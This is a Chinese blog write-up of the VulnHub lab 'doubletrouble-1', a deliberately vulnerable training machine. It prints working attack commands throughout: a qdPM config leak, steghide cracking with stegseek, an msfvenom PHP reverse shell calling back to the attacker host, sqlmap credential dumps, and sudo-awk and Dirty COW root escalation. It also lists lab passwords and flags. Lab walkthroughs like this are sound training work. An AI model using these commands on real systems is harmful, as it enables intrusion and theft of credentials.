『vulnhub系列』doubletrouble-1

下载地址

https://www.vulnhub.com/entry/doubletrouble-1,743/

信息搜集

使用命令,获得存活靶机IP为138,开启端口22和80

nmap 192.168.0.* #因为当前NAT模式,攻击机和靶机在一个内网环境中

访问80的web服务,是一个登录页面

又是qdPm,之前做过一个qdpm的题目,于是我们就知道了qdpm存在密码泄露漏洞。我们来看一下

searchsploit qdpm

我们发现密码泄露漏洞是50176.txt,查看,发现我们可以去http://<website>/core/config/databases.yml 这个目录下,获得数据库的用户名密码

searchsploit -m 50176.txt #将50176.txt存到当前目录
cat 50176.txt

访问后,得到用户名:密码— otis :rush

但我们发现,靶机的3306端口并没有开,继续信息搜集

使用dirsearch爆破目录,得到如下目录,发现secret目录

dirsearch -u "http://192.168.0.138/"

访问/secret目录里面都有一个doubletrouble.jpg

打开图片,发现图片里有我们刚刚获取的用户名和密码Otis:Rush

但目前这些信息并没有什么用,因此想到了以前做CTF时候的隐写术,丢到WinHex里并没有发现什么东西,我们搜索jpg相关的隐写术,发现有一种steghide隐写,可以在linux中使用。

Steghide 是一个可用于隐写术的工具。它允许您在音频和图像文件中嵌入秘密信息,包括 JPEG、BMP、WAV 和 AU 文件。 Steghide 允许:

  • 嵌入数据的加密。
  • 嵌入数据的压缩。
  • 嵌入校验和以验证提取的数据的完整性。

我们安装一下,并试一下,发现需要密码

apt-get install steghide #安装
steghide info doubletrouble.jpg #查看图片信息

然后StegHide是隐写工具,现在我们是要破解它隐写后的密码,这里用到了另一个工具:Stegseek

Stegseek是迄今为止全世界最快的Steghide破解qi,该工具每秒能够处理数百万的密码。虽然Stegseek是一款轻量级工具,但丝毫不影响其功能性的强大。该工具作为原始Steghide项目的一个分支而构建,它的速度比其他破解qi快上千倍。在该工具的帮助下,广大研究人员可以轻松从使用了Steghide隐写&加密的文件中提取出隐藏的数据。

除此之外,Stegseek还可以用来提取Steghide的元数据,我们可以利用这些信息来判断一个文件中是否包含了Steghide数据。

值得一提的是,仅需两秒钟,该工具就可以跑完rockyou.txt字典。而众所周知,rockyou.txt是一个包含了超过1400万个密码的强大字典文件。

apt install stegseek

然后我们使用/usr/share/wordlist/rockyou.txt.gz 解压后的rockyou.txt来进行暴力破解

得到密码92camaro

stegseek doubletrouble.jpg rockyou.txt

再次查看图片信息,输入密码,发现有一个creds.txt

steghide info doubletrouble.jpg

分离文件,输入密码,得到creds.txt 查看一下,得到邮箱:密码otisrush@localhost.com:otis666

steghide extract -sf doubletrouble.jpg
cat creds.txt

登录成功

漏洞利用

我们发现可以上传文件

我们使用msf生成一个php反弹木马,上传

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.130 lport=4444 -o re_shell.php

上传成功

我们使用msf进行监听,设置options与生成的木马一一对应

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.130
set lport 4444

然后我们刚刚扫描的时候,发现有一个uploads目录,我们访问一下其下的目录attachments

发现我们刚上传的文件已经上传成功了

我们在攻击机输入run开启监听

访问php文件,反弹成功

现在的权限是网站权限

权限提升:

使用py获取交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

使用命令查看带有SUID权限的文件,发现并没有什么东西

find / -perm -u=s -type f 2>/dev/null

使用命令查看可以使用root权限执行的命令,发现awk命令可以以root权限执行

sudo -l

因此我们可以借助awk进行sudo提权

sudo awk 'BEGIN{system("/bin/bash")}'

关于sudo提权可以看我之前的文章sudo滥用提权 | Don_Joshua's Blog (jo4hua.github.io)

提权成功

进入到root目录……发现……还有一个靶机,将其移动到/var/www/html目录下

输入网址+镜像名,下载,开机

http://192.168.0.138/doubletrouble.ova

第二层靶机

信息搜集:

依旧使用nmap找到存活主机

访问80端口web服务,是一个登录页面

使用之前的otis用户名和密码,登陆失败,没有回显,可能是sql注入?使用sqlmap尝试一下吧

漏洞利用:

首先查看源代码,用的是post方式传uname,psw

使用sqlmap,存在时间盲注

sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123"

使用命令,得到数据库doubletrouble 另一个是默认表

sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" --dbs --batch

继续爆破表

sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" -D doubletrouble --tables --batch

爆破字段

sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" -D doubletrouble -T users --columns --batch

爆破内容,得到用户名密码montreux | GfsZxc1 clapton | ZubZub99

sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" -D doubletrouble -T users -C username,password --dump --batch

然后我们登录,发现登录不上,那现在只剩一个地方了

没错就是ssh了,使用第二个用户和密码登陆成功,获得普通用户权限

ssh clapton@192.168.0.139

权限提升:

老套路,先查看具有SUID权限的文件,发现一个exim4有些可疑

 find / -perm -u=s -type f 2>/dev/null

搜一下,发现可以进行SUID提权,使用命令查看一下版本

/usr/sbin/exim4 --version

寻找对应版本漏洞,下载

searchsploit Exim 4.80
searchsploit -m 35951.py

开启apache服务,将exp移动到/var/www/html目录下

service apache2 start
mv 35951.py /var/www/html

使用靶机下载exp

wget http://192.168.0.130/35951.py

发现这几个exp都不好用

接下来查看系统内核信息

uname -a

直接上脏牛提权吧,发现我们的内核版本在可利用范围内

searchspolit dirty

重复上述过程,我们将40847.cpp上传到靶机上,赋予执行权限

wget http://192.168.0.130/40847.cpp #靶机下载exp

chmod +x 40847.cpp #赋予运行权限

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 1 40847.cpp -lutil #编译一下,输出为1

运行1,得到root密码

./1 运行

使用su切换为root用户,输入密码,获取root权限

成果:

获取普通权限的时候,发现user.txt

6CEA7A737C7C651F6DA7669109B5FB52

root目录下cat root.txt可得

1B8EEA89EA92CECB931E3CC25AA8DE21

『vulnhub系列』doubletrouble-1的更多相关文章

  1. 『GreenPlum系列』GreenPlum 4节点集群安装(图文教程)

      目标架构如上图   一.硬件评估 cpu主频,核数推荐CPU核数与磁盘数的比例在12:12以上Instance上执行时只能利用一个CPU核资源进行计算,推荐高主频 内存容量 网络带宽重分布操作 R ...

  2. Istio 运维实战系列(2):让人头大的『无头服务』-上

    本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 什么是『无头服 ...

  3. Istio 运维实战系列(3):让人头大的『无头服务』-下

    本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 失败的 Eur ...

  4. 『高性能模型』HetConv: HeterogeneousKernel-BasedConvolutionsforDeepCNNs

    论文地址:HetConv 一.现有网络加速技术 1.卷积加速技术 作者对已有的新型卷积划分如下:标准卷积.Depthwise 卷积.Pointwise 卷积.群卷积(相关介绍见『高性能模型』深度可分离 ...

  5. 『TensorFlow Internals』笔记_源码结构

    零.资料集合 知乎专栏:Bob学步 知乎提问:如何高效的学习 TensorFlow 代码?. 大佬刘光聪(Github,简书) 开源书:TensorFlow Internals,强烈推荐(本博客参考书 ...

  6. 『深度应用』NLP机器翻译深度学习实战课程·壹(RNN base)

    深度学习用的有一年多了,最近开始NLP自然处理方面的研发.刚好趁着这个机会写一系列NLP机器翻译深度学习实战课程. 本系列课程将从原理讲解与数据处理深入到如何动手实践与应用部署,将包括以下内容:(更新 ...

  7. 关于『进击的Markdown』:第一弹

    关于『进击的Markdown』:第一弹 建议缩放90%食用 比起隐蔽物下的狙击手,Markdown更像冲锋陷阵的阵头兵 简单.粗暴.直接.而且好上手 各位晚上好! 早饭吃了吗您 我 今 天 没 吃 M ...

  8. 关于『进击的Markdown』:第五弹

    关于『进击的Markdown』:第五弹 建议缩放90%食用 路漫漫其修远兮,吾将上下而求索.  我们要接受Mermaid的考验了呢  Markdown 语法真香(一如既往地安利) ( 进击吧!Mark ...

  9. 关于『进击的Markdown』:第四弹

    关于『进击的Markdown』:第四弹 建议缩放90%食用 美人鱼(Mermaid)悄悄的来,又悄悄的走,挥一挥匕首,不留一个活口 又是漫漫画图路... 女士们先生们,大家好!  我们要接受Markd ...

  10. 关于『进击的Markdown』:第三弹

    关于『进击的Markdown』:第三弹 建议缩放90%食用 我与神明画押,赌这弹markdown又双叒叕拖稿了 %%%Markdown!我的CSDN编辑器崩了呜呜呜 各路英雄豪杰,大家好!  我们要开 ...

随机推荐

  1. navicat15安装以及破解

    一. 下载 链接:https://pan.baidu.com/s/173rqp-DZJ3Om_QNN0NxbEg 提取码:zop2 二. 安装 2.1 解压刚才的文件 2.2 安装navicat15. ...

  2. Linux上OcenBase单机版部署及基本信息查询

    OceanBase单机版部署可以通过在线和离线两种方式部署.在线部署可以通过yum源或者apt源部署,直接拉取官方源码即可.实际使用中,大部分环境连不了外网,本文介绍离线方式安装. 下载"O ...

  3. Mybatis逆向工程的2种方法,一键高效快速生成Pojo、Mapper、XML,摆脱大量重复开发

    一.写在开头 最近一直在更新<Java成长计划>这个专栏,主要是Java全流程学习的一个记录,目前已经更新到Java并发多线程部分,后续会继续更新:而今天准备开设一个全新的专栏 <E ...

  4. 免费的visual studio智能代码插件——CodeGeeX

    CodeGeeX是什么?什么是CodeGeeX? CodeGeeX是一款基于大模型的智能编程助手,它可以实现代码的生成与补全,自动为代码添加注释,不同编程语言的代码间实现互译,针对技术和代码问题的智能 ...

  5. juc之ConcurrentHashMap在我工作中的实践

    Map是我工作中应用比较多的数据结构之一,主要用来存储一些kv的映射信息,如果是单线程环境下我会优先使用HashMap,但是如果在多线程环境下继续使用HashMap我不确定会不会被我老大打死,为了生命 ...

  6. RustDesk 自建服务器部署和使用教程

    RustDesk 是一个强大的开源远程桌面软件,是中国开发者的作品,它使用 Rust 编程语言构建,提供安全.高效.跨平台的远程访问体验.可以说是目前全球最火的开源远程桌面软件了,GitHub 星星数 ...

  7. 万事通,专精部分领域的多功能 Transformer 智能体

    介绍 我们很高兴分享"万事通"(Jack of All Trades,简称 JAT) 项目,该项目旨在朝着通用智能体的方向发展.该项目最初是作为对 Gato (Reed 等,202 ...

  8. C 语言编程 — 头文件

    目录 文章目录 目录 前文列表 头文件 只引用一次头文件 有条件引用 global.h 前文列表 <程序编译流程与 GCC 编译器> <C 语言编程 - 基本语法> <C ...

  9. windows下使用winget快速安装nvm

    前置条件: 操作系统 >= win10 安装 首先使用winget搜索nvm包 winget search nvm #搜索结果如下图 安装nvm winget install CoreyButl ...

  10. .net程序员学习java篇一(搭建SSM)

    一.安装IDE 相比于.net环境的一气呵成,java可能麻烦一点,这里记录下来,避免萌新踩坑 1.1安装JDK,这里不要玩什么花哨,老老实实选个大众版(Oracle JDK1.8x),设置环境变量, ...